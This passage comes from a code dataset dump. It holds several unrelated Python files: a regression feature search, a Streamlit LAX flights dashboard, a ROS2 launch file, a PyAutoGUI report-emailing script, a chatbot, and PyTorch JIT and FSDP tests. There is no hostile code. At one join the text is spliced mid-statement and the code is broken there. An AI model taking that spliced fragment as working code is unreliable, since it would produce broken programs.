ge','Theater'],\r\n['Level','Floor','Rooms','Garage','Garden','Age'],\r\n['Level','Floor','Rooms','Garage','Garden','Theater'],\r\n['Level','Floor','Rooms','Garage','Age','Theater'],\r\n['Level','Floor','Rooms','Garden','Age','Theater'],\r\n['Level','Floor','Pool','Garage','Garden','Age'],\r\n['Level','Floor','Pool','Garage','Garden','Theater'],\r\n['Level','Floor','Pool','Garage','Age','Theater'],\r\n['Level','Floor','Pool','Garden','Age','Theater'],\r\n['Level','Floor','Garage','Garden','Age','Theater'],\r\n['Level','Rooms','Pool','Garage','Garden','Age'],\r\n['Level','Rooms','Pool','Garage','Garden','Theater'],\r\n['Level','Rooms','Pool','Garage','Age','Theater'],\r\n['Level','Rooms','Pool','Garden','Age','Theater'],\r\n['Level','Rooms','Garage','Garden','Age','Theater'],\r\n['Level','Pool','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage','Garden'],\r\n['Area','Floor','Rooms','Pool','Garage','Age'],\r\n['Area','Floor','Rooms','Pool','Garage','Theater'],\r\n['Area','Floor','Rooms','Pool','Garden','Age'],\r\n['Area','Floor','Rooms','Pool','Garden','Theater'],\r\n['Area','Floor','Rooms','Pool','Age','Theater'],\r\n['Area','Floor','Rooms','Garage','Garden','Age'],\r\n['Area','Floor','Rooms','Garage','Garden','Theater'],\r\n['Area','Floor','Rooms','Garage','Age','Theater'],\r\n['Area','Floor','Rooms','Garden','Age','Theater'],\r\n['Area','Floor','Pool','Garage','Garden','Age'],\r\n['Area','Floor','Pool','Garage','Garden','Theater'],\r\n['Area','Floor','Pool','Garage','Age','Theater'],\r\n['Area','Floor','Pool','Garden','Age','Theater'],\r\n['Area','Floor','Garage','Garden','Age','Theater'],\r\n['Area','Rooms','Pool','Garage','Garden','Age'],\r\n['Area','Rooms','Pool','Garage','Garden','Theater'],\r\n['Area','Rooms','Pool','Garage','Age','Theater'],\r\n['Area','Rooms','Pool','Garden','Age','Theater'],\r\n['Area','Rooms','Garage','Garden','Age','Theater'],\r\n['Area','Pool','Garage','Garden','Age','Theater'],\r\n['Floor','Rooms','Pool','Garage','Garden','Age'],\r\n['Floor','Rooms','Pool','Garage','Garden','Theater'],\r\n['Floor','Rooms','Pool','Garage','Age','Theater'],\r\n['Floor','Rooms','Pool','Garden','Age','Theater'],\r\n['Floor','Rooms','Garage','Garden','Age','Theater'],\r\n['Floor','Pool','Garage','Garden','Age','Theater'],\r\n['Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Garden'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Age'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garden','Age'],\r\n['Level','Area','Floor','Rooms','Pool','Garden','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Garage','Garden','Age'],\r\n['Level','Area','Floor','Rooms','Garage','Garden','Theater'],\r\n['Level','Area','Floor','Rooms','Garage','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Garden','Age','Theater'],\r\n['Level','Area','Floor','Pool','Garage','Garden','Age'],\r\n['Level','Area','Floor','Pool','Garage','Garden','Theater'],\r\n['Level','Area','Floor','Pool','Garage','Age','Theater'],\r\n['Level','Area','Floor','Pool','Garden','Age','Theater'],\r\n['Level','Area','Floor','Garage','Garden','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garage','Garden','Age'],\r\n['Level','Area','Rooms','Pool','Garage','Garden','Theater'],\r\n['Level','Area','Rooms','Pool','Garage','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garden','Age','Theater'],\r\n['Level','Area','Rooms','Garage','Garden','Age','Theater'],\r\n['Level','Area','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage','Garden','Age'],\r\n['Level','Floor','Rooms','Pool','Garage','Garden','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Garage','Garden','Age','Theater'],\r\n['Level','Floor','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage','Garden','Age'],\r\n['Area','Floor','Rooms','Pool','Garage','Garden','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Pool','Garage','Garden','Age','Theater'],\r\n['Area','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Floor','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Garden','Age'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Garden','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Garden','Age','Theater']]\r\n\r\nbest_feature = []\r\nmin_train=999999999\r\n\r\nFeature_Error_File = open((dir+\"Feature_Error.txt\"), \"w\")\r\n\r\nfor q in range(len(feature_set)):\r\n print(\"Training.... Set:\",feature_set[q],\" \", (q+1),\"/\",len(feature_set))\r\n df = pd.read_csv ((dir+\"final_training.csv\"))\r\n x=df[feature_set[q]]\r\n y=df['Price(Million-USD)']\r\n regr = linear_model.LinearRegression()\r\n regr.fit(x.values, y.values)\r\n\r\n print(\"Testing....\")\r\n df = pd.read_csv ((dir+\"final_test.csv\"))\r\n x1=df[feature_set[q]]\r\n y1=df['Price(Million-USD)']\r\n\r\n e=0.0\r\n for i in range (y1.values.size):\r\n error = 0.0\r\n predicted = regr.predict([x1.values[i]])\r\n error = y1.values[i] - predicted\r\n if error<0.0:\r\n error=error*-1.0\r\n \r\n e = e + error\r\n \r\n avg_error = e/y1.values.size\r\n\r\n msg=\"\"\r\n msg = msg+str(feature_set[q]) + \"\\tTest Error: \" + str(avg_error) + \"\\n\"\r\n Feature_Error_File.write(msg)\r\n\r\n if avg_error= 150.0):\r\n filteredm.append(row[1])\r\n filteredr.append(row[2])\r\n filteredg.append(row[3])\r\n counter += 1\r\n ind.append(counter)\r\n\r\n\r\ndf = pd.DataFrame(list(zip(ind, filteredm, filteredr, filteredg)), columns=[\r\n \"Index\", \"Mass\", \"Radius\", \"Gravity\"])\r\n\r\n\r\ndf.to_csv(\"Cleaned.csv\")\r\n","repo_name":"My-selforever/Stars-Cleaned","sub_path":"Filtering.py","file_name":"Filtering.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14822246319","text":"# Owner(s): [\"oncall: jit\"]\n\nfrom torch.testing import FileCheck\nfrom torch.testing._internal.jit_utils import JitTestCase\nimport torch\n\n\nif __name__ == '__main__':\n raise RuntimeError(\"This test file is not meant to be run directly, use:\\n\\n\"\n \"\\tpython test/test_jit.py TESTNAME\\n\\n\"\n \"instead.\")\n\n\nclass TestGetDefaultAttr(JitTestCase):\n def test_getattr_with_default(self):\n\n class A(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.init_attr_val = 1.0\n\n def forward(self, x):\n y = getattr(self, \"init_attr_val\") # noqa: B009\n w : list[float] = [1.0]\n z = getattr(self, \"missing\", w) # noqa: B009\n z.append(y)\n return z\n\n result = A().forward(0.0)\n self.assertEqual(2, len(result))\n graph = torch.jit.script(A()).graph\n\n # The \"init_attr_val\" attribute exists\n FileCheck().check(\"prim::GetAttr[name=\\\"init_attr_val\\\"]\").run(graph)\n # The \"missing\" attribute does not exist, so there should be no corresponding GetAttr in AST\n FileCheck().check_not(\"missing\").run(graph)\n # instead the getattr call will emit the default value, which is a list with one float element\n FileCheck().check(\"float[] = prim::ListConstruct\").run(graph)\n","repo_name":"pytorch/pytorch","sub_path":"test/jit/test_attr.py","file_name":"test_attr.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"24343541575","text":"import logging\nfrom datetime import datetime\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.patches import Ellipse\n\nfrom common.common import init_logging\n\ninit_logging(file='lab3/logs/lab3.log.' + str(datetime.now()))\n\ndecimals = 3\nm = 128\ndelta = 0.25\ndata = np.loadtxt('lab3/data/data.txt', delimiter='\\t', dtype=int)\n\nN = data.shape[0]\nY = data\nX = np.array([np.sum(data[:i + 1]) for i in range(N)])\nf = X / X[N - 1]\nF = np.array([1 / N * np.sum(Y * np.exp(-(2 * np.pi * 1j / N * k * (np.arange(N) + 1)))) for k in (np.arange(N) + 1)])\nP = np.square(np.real(F)) + np.square(np.imag(F))\n\nP_half = P[:150]\nf_half = f[:150]\n\nplt.title('Spectral power density')\nplt.plot(f_half, P_half)\nplt.show()\n\nHF = np.sum(P[np.logical_and(f > 0.15, f <= 0.4)])\nLF = np.sum(P[np.logical_and(f > 0.04, f <= 0.15)])\nVLF = np.sum(P[np.logical_and(f > 0.015, f <= 0.04)])\nTP = HF + LF + VLF\n\nlogging.info('HF=' + np.around(HF, decimals=decimals).astype(str))\nlogging.info('LF=' + np.around(LF, decimals=decimals).astype(str))\nlogging.info('VLF=' + np.around(VLF, decimals=decimals).astype(str))\nlogging.info('TP=' + np.around(TP, decimals=decimals).astype(str))\n\nHF_percentage = HF / TP * 100\nLF_percentage = LF / TP * 100\nVLF_percentage = VLF / TP * 100\n\nlogging.info('HF%=' + HF_percentage.astype(int).astype(str) + '%')\nlogging.info('LF%=' + LF_percentage.astype(int).astype(str) + '%')\nlogging.info('VLF%=' + VLF_percentage.astype(int).astype(str) + '%')\n\nIC = (VLF + LF) / HF\nIVV = LF / HF\nISCA = LF / VLF\n\nlogging.info('IC=' + np.around(IC, decimals=decimals).astype(str))\nlogging.info('IVV=' + np.around(IVV, decimals=decimals).astype(str))\nlogging.info('ISCA=' + np.around(ISCA, decimals=decimals).astype(str))\n","repo_name":"tcibinan/neurotechnology-itmo","sub_path":"lab3/lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73917022634","text":"import altair as alt\nimport datetime as dt\nimport glob\nimport logging\nimport os\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport plotly.graph_objs as go\nimport requests\nimport streamlit as st\nfrom typing import Optional\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\n# SET PAGE CONFIGS\nst.set_page_config(\n layout=\"wide\", page_title=\"LAX Flight Departures\", page_icon=\":airplane:\"\n)\n\n# LOAD DATA\n@st.experimental_singleton\ndef load_data(csv_filename: str, csv_filepath: str, airport_iata: str):\n date_today = dt.date.today()\n try:\n latest_csv_name = max(glob.glob(os.path.join(csv_filepath, csv_filename)))\n latest_csv_date = dt.datetime.strptime(latest_csv_name[-12:-4], \"%Y%m%d\").date()\n except:\n latest_csv_name = None\n latest_csv_date = None\n\n if latest_csv_date == date_today:\n data = pd.read_csv(latest_csv_name)\n else:\n # Call API for today's data\n timestamp_api_call = dt.datetime.now()\n api_key = os.environ.get(\"AIRLABS_API_KEY\")\n url_base = \"https://airlabs.co/api/v9/\"\n url_path = \"schedules\"\n params = {\"api_key\": api_key, \"dep_iata\": airport_iata}\n result = requests.get(url_base + url_path, params)\n response = result.json().get(\"response\")\n # If API returns no data, import latest csv\n if response == None:\n logging.error(\"Airlabs API returned no data: \", result.json())\n data = pd.read_csv(latest_csv_name)\n else:\n data = pd.DataFrame(response)\n data[\"timestamp_api_call\"] = timestamp_api_call\n data.to_csv(\n os.path.join(\n csv_filepath,\n f\"{airport_iata.lower()}_flights_{date_today.strftime('%Y%m%d')}.csv\",\n ),\n index=False,\n )\n\n data[\"dep_time\"] = pd.to_datetime(data[\"dep_time\"])\n data[\"timestamp_api_call\"] = pd.to_datetime(data[\"timestamp_api_call\"])\n\n return data\n\n\n# FILTER DATA FOR A SELECTED HOUR (CACHED)\n@st.experimental_memo\ndef filter_data(\n data: pd.DataFrame,\n departure_hour: Optional[int],\n terminal_selected: Optional[str] = None,\n):\n if departure_hour:\n data = data[data[\"dep_time\"].dt.hour == departure_hour]\n if terminal_selected:\n data = data[data[\"dep_terminal\"] == terminal_selected]\n return data\n\n\n# CALCULATE DATA BY HOUR AND TERMINAL (CACHED)\n@st.experimental_memo\ndef calculate_data_by_hour(\n data: pd.DataFrame,\n departure_hour: Optional[int],\n terminal_selected: Optional[str] = None,\n):\n data = filter_data(data, departure_hour, terminal_selected)\n hist = np.histogram(data[\"dep_time\"].dt.minute, bins=60, range=(0, 60))[0]\n\n return pd.DataFrame({\"minute\": range(60), \"departures\": hist})\n\n\n# CALCULATE GROUPED DATA BY TERMINAL\n@st.experimental_memo\ndef group_data_by_terminal(data: pd.DataFrame, departure_hour: Optional[int]):\n data = filter_data(data, departure_hour)\n grouped = (\n data.groupby([\"dep_terminal\"])\n .agg(count_flights=(\"flight_iata\", \"nunique\"))\n .reset_index()\n )\n return grouped\n\n\n# CALCULATE GROUPED DATA BY AIRLINE\n@st.experimental_memo\ndef group_data_by_airline(data: pd.DataFrame, departure_hour: Optional[int]):\n data = filter_data(data, departure_hour)\n grouped = (\n data.groupby([\"dep_terminal\", \"airline_iata\"])\n .agg(count_flights=(\"flight_iata\", \"nunique\"))\n .reset_index()\n )\n grouped[\"airport\"] = \"LAX\"\n return grouped\n\n\n# STREAMLIT APP LAYOUT\ndata = load_data(\n csv_filename=\"lax_flights_*.csv\",\n csv_filepath=\"/Users/clau/Documents/Github/flights/data/\",\n airport_iata=\"LAX\",\n)\n\n# SEE IF THERE IS A QUERY PARAM IN URL\nif not st.session_state.get(\"url_synced\", False):\n try:\n hour_selected = int(st.experimental_get_query_params()[\"departure_hour\"][0])\n st.session_state[\"departure_hour\"] = hour_selected\n st.session_state[\"url_synced\"] = True\n except KeyError:\n pass\n\n# UPDATE QUERY PARAM IF SLIDER CHANGES\ndef update_query_params():\n hour_selected = st.session_state[\"departure_hour\"]\n st.experimental_get_query_params()\n\n\n# TOP SECTION APP LAYOUT\nst.title(\"✈️ LAX Flight Departures Data\")\nst.markdown(\"#### About Dataset\")\nst.markdown(\n f\"\"\"\n\tData pulled: {data[\"timestamp_api_call\"].iloc[0].date()}\\n\n\tDataset contains all LAX flight departures from \\\n\t{data[\"dep_time\"].min().strftime(\"%Y-%m-%d %H\")}:00 to \\\n\t{data[\"dep_time\"].max().strftime(\"%Y-%m-%d %H\")}:00 (Pacific Time).\n\t\"\"\"\n)\nst.markdown(\n \"***Adjust slider to see how LAX flight departures differ by terminal at different hours of the day.***\"\n)\n\nhour_selected = st.slider(\n \"Select hour of flight departure\",\n 0,\n 23,\n key=\"departure_hour\",\n on_change=update_query_params,\n)\n\n# LAYOUT MIDDLE SECTION OF APP WITH CHARTS\nrow2_1, row2_2 = st.columns((1, 1), gap=\"large\")\n\n# CALCULATE DATA FOR CHARTS\nchart_data = calculate_data_by_hour(data, hour_selected)\ngrouped_by_terminal_data = group_data_by_terminal(data, hour_selected)\ngrouped_by_airline_data = group_data_by_airline(data, hour_selected)\n\nchart_dep = (\n alt.Chart(chart_data)\n .mark_area(\n interpolate=\"step-after\",\n )\n .encode(\n x=alt.X(\"minute:Q\"),\n y=alt.Y(\"departures:Q\"),\n tooltip=[\"minute\", \"departures\"],\n opacity=alt.value(0.6),\n color=alt.value(\"red\"),\n )\n)\n\nchart_terminal = (\n alt.Chart(grouped_by_terminal_data)\n .mark_bar()\n .encode(\n x=alt.X(\"count_flights:Q\"),\n y=alt.Y(\"dep_terminal:N\"),\n tooltip=[\"dep_terminal\", \"count_flights\"],\n color=alt.Color(\"dep_terminal:N\"),\n opacity=alt.OpacityValue(0.8),\n )\n)\nchart_all = alt.vconcat(\n chart_dep,\n chart_terminal,\n data=chart_data,\n autosize=alt.AutoSizeParams(contains=\"content\", resize=True),\n)\n\n# PLOT CHARTS\nwith row2_1:\n st.write(\n f\"**Breakdown of departures by terminal & airline between {hour_selected}:00 and {(hour_selected + 1) % 24}:00**\"\n )\n if grouped_by_airline_data.empty:\n st.write(\n f\"***No Flights leaving LAX between {hour_selected}:00 and {(hour_selected + 1) % 24}:00***\"\n )\n else:\n fig = px.sunburst(\n grouped_by_airline_data,\n path=[\"airport\", \"dep_terminal\", \"airline_iata\"],\n values=\"count_flights\",\n )\n fig.update_layout(margin=go.layout.Margin(l=0, r=0, b=0, t=0))\n fig.update_traces(\n hovertemplate=\"terminal/airline:%{id},\\n count_flights:%{value}\",\n selector=dict(type=\"sunburst\"),\n )\n st.plotly_chart(fig, use_container_width=True)\n\nwith row2_2:\n st.write(\n f\"**Breakdown of departures per minute between {hour_selected}:00 and {(hour_selected + 1) % 24}:00**\"\n )\n st.altair_chart(chart_all, use_container_width=True)\n","repo_name":"claudian37/lax_flights_dashboard","sub_path":"st_flights_dashboard.py","file_name":"st_flights_dashboard.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70741778794","text":"n, m = map(int, input().split())\ns = [input() for _ in range(n)]\nans = [[0] * m for _ in range(n)]\nfor i in range(n):\n for j in range(m):\n cnt = 0\n for p in (-1, 0, 1):\n for q in (-1, 0, 1):\n u, v = i + p, j + q\n if 0 > u or u >= n or 0 > v or v >= m:\n continue\n if s[u][v] == \"#\":\n cnt += 1\n ans[i][j] = cnt\n\nfor an in ans:\n print(*an, sep=\"\")\n","repo_name":"ymsk-sky/atcoder_part3","sub_path":"algorithm_kente_04/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39967567297","text":"import os\nimport sys\nimport yaml\nfrom launch import LaunchDescription\nfrom launch_ros.actions import Node\nfrom ament_index_python.packages import get_package_share_directory\nimport xacro\n\n\ndef load_file(package_name, file_path):\n package_path = get_package_share_directory(package_name)\n absolute_file_path = os.path.join(package_path, file_path)\n\n try:\n with open(absolute_file_path, 'r') as file:\n return file.read()\n except EnvironmentError: # parent of IOError, OSError *and* WindowsError where available\n return None\n\ndef load_yaml(package_name, file_path):\n package_path = get_package_share_directory(package_name)\n absolute_file_path = os.path.join(package_path, file_path)\n\n try:\n with open(absolute_file_path, 'r') as file:\n return yaml.safe_load(file)\n except EnvironmentError: # parent of IOError, OSError *and* WindowsError where available\n return None\n\n\ndef generate_launch_description():\n args = ['robot_ip:=192.168.10.2']\n length = len(sys.argv)\n if (len(sys.argv) >= 5):\n i = 4\n while i < len(sys.argv):\n args.append(sys.argv[i])\n i = i + 1\n\n # Component yaml files are grouped in separate namespaces\n # Use URDF file: tm5-900-nominal.urdf to do moveit demo\n # robot_description_config = load_file('tm_description', 'urdf/tm5-900-nominal.urdf')\n # robot_description = {'robot_description' : robot_description_config}\n # Use Xacro file: tm5-900.urdf.xacro to do moveit demo\n robot_description_config = xacro.process_file(\n os.path.join(\n get_package_share_directory(\"tm_description\"),\n \"xacro\",\n \"tm5-900.urdf.xacro\",\n )\n ) \n robot_description = {\"robot_description\": robot_description_config.toxml()}\n\n robot_description_semantic_config = load_file('tm_moveit_config_tm5-900', 'config/tm5-900.srdf')\n robot_description_semantic = {'robot_description_semantic' : robot_description_semantic_config}\n \n # RViz\n rviz_config_file = get_package_share_directory('tm_driver') + \"/rviz/bringup.rviz\"\n rviz_node = Node(\n package='rviz2',\n executable='rviz2',\n name='rviz2',\n output='log',\n arguments=['-d', rviz_config_file],\n parameters=[\n robot_description,\n robot_description_semantic]\n )\n\n # Static TF\n static_tf = Node(\n package='tf2_ros',\n executable='static_transform_publisher',\n name='static_transform_publisher',\n output='log',\n arguments=['0.0', '0.0', '0.0', '0.0', '0.0', '0.0', 'world', 'base']\n )\n\n # Publish TF\n robot_state_publisher = Node(\n package='robot_state_publisher',\n executable='robot_state_publisher',\n name='robot_state_publisher',\n output='both',\n parameters=[robot_description]\n )\n\n # joint driver\n tm_driver_node = Node(\n package='tm_driver',\n executable='tm_driver',\n #name='tm_driver',\n output='screen',\n arguments=args\n )\n \n\n return LaunchDescription([ tm_driver_node, static_tf, robot_state_publisher, rviz_node ])\n","repo_name":"Lin1225/TM_ros2_handeye","sub_path":"src/tmr_ros2/tm_driver/launch/tm5-900_bringup.launch.py","file_name":"tm5-900_bringup.launch.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29438633007","text":"from .ssd import SSD\nfrom .predictor import Predictor\nfrom .backbone import get_backbone as get_backbone\nfrom .headers import get_headers as get_headers\n\n\ndef create_ssd(backbone_type, header_type, use_gray, num_classes, aspect_ratios, priors, center_variance, size_variance, is_test=False, with_softmax=False, device=None, fp16=False):\n #print(backbone_type)\n base_net = get_backbone.get_backbone(backbone_type, use_gray, num_classes)\n #print(header_type)\n source_layer_indexes, extras, classification_headers, regression_headers = get_headers.get_headers(header_type, base_net, num_classes, aspect_ratios)\n\n return SSD(num_classes, base_net.model, source_layer_indexes,\n extras, classification_headers, regression_headers, priors, center_variance, size_variance, is_test=is_test, with_softmax=with_softmax, device=device, fp16=fp16)\n\n\ndef create_ssd_predictor(net, image_size_x, image_size_y, image_mean, image_std, iou_thresh, candidate_size=200, nms_method=None, sigma=0.5, device=None):\n predictor = Predictor(net, image_size_x, image_size_y, image_mean,\n image_std,\n nms_method=nms_method,\n iou_threshold=iou_thresh,\n candidate_size=candidate_size,\n sigma=sigma,\n device=device)\n return predictor\n","repo_name":"zuoqing1988/pytorch-ssd-for-ZQCNN","sub_path":"core/ssd_creator.py","file_name":"ssd_creator.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"72"} +{"seq_id":"36260300850","text":"import pyautogui\r\nimport time\r\nimport pyperclip\r\nimport pandas\r\nimport numpy\r\nimport openpyxl\r\n\r\n#Baixar o tabela de dados\r\n\r\npyautogui.PAUSE = 0.5\r\n\r\npyautogui.press('win')\r\npyautogui.write('cr')\r\npyautogui.press('enter')\r\npyautogui.write('link para tabela de dados')\r\npyautogui.press('enter')\r\n\r\ntime.sleep(3)\r\n\r\n\r\n\r\npyautogui.press('tab')\r\npyautogui.write('Nicolas')\r\npyautogui.press('tab')\r\npyautogui.write('123')\r\npyautogui.press('tab')\r\npyautogui.press('enter')\r\n\r\ntime.sleep(3)\r\n\r\npyautogui.click(x=396, y=386)\r\npyautogui.click(x=1713, y=191)\r\npyautogui.click(x=1465, y=593)\r\n\r\ntime.sleep(3)\r\n\r\ntabela = pandas.read_csv(r\"C:\\Users\\XXXX\\Downloads\\Compras.csv\", sep = ';')\r\nprint(tabela)\r\ntotal_gasto = tabela['ValorFinal'].sum()\r\nquantidade = tabela['Quantidade'].sum()\r\npreco_medio = total_gasto / quantidade\r\nprint(total_gasto)\r\nprint(quantidade)\r\nprint(preco_medio)\r\n\r\n#pyautogui.click(x=714, y=1057) \r\npyautogui.press('win')\r\npyautogui.write('out')\r\npyautogui.press('enter')\r\n\r\ntime.sleep(15)\r\n\r\n#pyautogui.click(x=129, y=107)\r\npyautogui.hotkey('ctrl', 'n')\r\n\r\ntime.sleep(3)\r\n\r\npyautogui.write('email-l para envio')\r\npyautogui.press('tab')\r\npyautogui.press('tab')\r\npyperclip.copy('Gestão de pedidos')\r\npyautogui.hotkey('ctrl', 'v')\r\npyautogui.press('tab') \r\n\r\ntexto = f'''\r\nPrezado chefe, segue abaixo o relatório do dia de hoje:\r\n\r\nTotal gasto:{total_gasto}\r\nQuantidade:{quantidade}\r\nPreço médio:{preco_medio}\r\n\r\nQualquer dúvida, enviar uma mensagem para esse mesmo e-mail. \r\nAtenciosamente, Nicolas.\r\n'''\r\npyperclip.copy(texto)\r\npyautogui.hotkey('ctrl', 'v')\r\npyautogui.hotkey('ctrl', 'enter')\r\n","repo_name":"Nicolascarm/Automatizacao","sub_path":"Automatização.py","file_name":"Automatização.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33557838081","text":"import random\nimport json\nimport torch\nfrom model import NeuralNet\nfrom nltk_utils import bag_of_words, tokenize\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # check to see if gpu is available for use\n\nwith open('intents.json', 'r') as f:\n intents = json.load(f)\n\n# load pre-processed data file\nFILE = \"data.pth\"\ndata = torch.load(FILE)\n\n# get all data from save file\ninput_size = data[\"input_size\"]\nhidden_size = data[\"hidden_size\"]\noutput_size = data[\"output_size\"]\nall_words = data[\"all_words\"]\ninput_size = data[\"input_size\"]\ntags = data[\"tags\"]\nmodel_state = data[\"model_state\"]\n\nmodel = NeuralNet(input_size, hidden_size, output_size).to(device)\nmodel.load_state_dict(model_state)\nmodel.eval()\n\nbot_name = \"Chief\"\nprint(\"Let's chat! type 'quit' to exit\")\nwhile True:\n sentence = input('You: ')\n if sentence == 'quit':\n break\n # tokenize sentence to be processed for a response\n sentence = tokenize(sentence)\n X = bag_of_words(sentence, all_words)\n X = X.reshape(1, X.shape[0])\n X = torch.from_numpy(X)\n\n output = model(X) # put the user sentence in the model to be used to predict a response\n _, predicted = torch.max(output, dim=1) # predict a response\n tag = tags[predicted.item()] # predicted tag\n\n # check if probabilty of predicted tag is high enough to warrant a correct response\n probs = torch.softmax(output, dim=1)\n prob = probs[0][predicted.item()]\n\n if prob.item() > 0.75:\n # loop over all intents and check if the predicted tag matches\n for intent in intents[\"intents\"]:\n if tag == intent[\"tag\"]:\n print(f'{bot_name}: {random.choice(intent[\"responses\"])}') # find a random response to display\n else:\n print(f\"{bot_name}: I do not understand...\")\n","repo_name":"JohnNooney/SimplePythonChatbot","sub_path":"chat.py","file_name":"chat.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14820855589","text":"# Owner(s): [\"oncall: distributed\"]\n\nimport copy\nimport sys\n\nfrom typing import Dict\n\nimport torch\nimport torch.distributed as dist\nimport torch.nn as nn\nfrom torch.distributed._composable import checkpoint, fully_shard, replicate\nfrom torch.distributed._shard.sharded_tensor import ShardedTensor\nfrom torch.distributed.fsdp import FullyShardedDataParallel as FSDP, StateDictType\nfrom torch.distributed.fsdp.api import MixedPrecision, ShardingStrategy\nfrom torch.distributed.fsdp.wrap import ModuleWrapPolicy\nfrom torch.testing._internal.common_dist_composable import (\n CompositeModel,\n CompositeParamModel,\n UnitModule,\n)\nfrom torch.testing._internal.common_distributed import (\n SaveForwardInputsModel,\n skip_if_lt_x_gpu,\n)\nfrom torch.testing._internal.common_fsdp import FSDPTest\nfrom torch.testing._internal.common_utils import (\n instantiate_parametrized_tests,\n run_tests,\n TEST_WITH_DEV_DBG_ASAN,\n)\n\n\nif not dist.is_available():\n print(\"Distributed not available, skipping tests\", file=sys.stderr)\n sys.exit(0)\n\n\nif TEST_WITH_DEV_DBG_ASAN:\n print(\n \"Skip dev-asan as torch + multiprocessing spawn have known issues\",\n file=sys.stderr,\n )\n sys.exit(0)\n\n\nclass TestFSDPCheckpoint(FSDPTest):\n @property\n def world_size(self) -> int:\n return 2\n\n # TODO: Define `use_same_inputs_across_ranks` for now for BC since some\n # test model configs do not have a simple base model to compare against. In\n # those cases, we use the same inputs across ranks so that the averaged\n # gradient equals the local gradient to check for parity. This means that\n # the gradient reduction is unchecked.\n def _test_parity(\n self,\n base_model: nn.Module,\n test_model: nn.Module,\n inp_size: torch.Size,\n inp_device: torch.device,\n grad_to_none: bool,\n use_same_inputs_across_ranks: bool,\n ):\n LR = 0.01\n base_optim = torch.optim.Adam(base_model.parameters(), lr=LR)\n test_optim = torch.optim.Adam(test_model.parameters(), lr=LR)\n\n for _ in range(5):\n if use_same_inputs_across_ranks:\n torch.manual_seed(0)\n x = torch.randn(inp_size, device=inp_device)\n test_loss = test_model(x).sum()\n base_loss = base_model(x).sum()\n\n self.assertEqual(test_loss, base_loss)\n\n test_loss.backward()\n test_optim.step()\n test_optim.zero_grad(set_to_none=grad_to_none)\n\n base_loss.backward()\n base_optim.step()\n base_optim.zero_grad(set_to_none=grad_to_none)\n\n @skip_if_lt_x_gpu(2)\n def test_wrap_same_submodule(self):\n model = UnitModule(device=torch.device(\"cuda\"))\n\n base_model = copy.deepcopy(model)\n\n test_model = copy.deepcopy(model)\n # compose checkpoint and fully_shard\n test_model.seq = checkpoint(test_model.seq)\n test_model.seq = fully_shard(\n test_model.seq,\n policy=ModuleWrapPolicy({nn.Linear}),\n )\n\n self.run_subtests(\n {\n \"base_model\": [base_model],\n \"test_model\": [test_model],\n \"inp_size\": [torch.Size((2, 100))],\n \"inp_device\": [torch.device(\"cuda\")],\n \"grad_to_none\": [True, False],\n \"use_same_inputs_across_ranks\": [True],\n },\n self._test_parity,\n )\n\n def _test_checkpoint_fsdp_submodules(self):\n model = 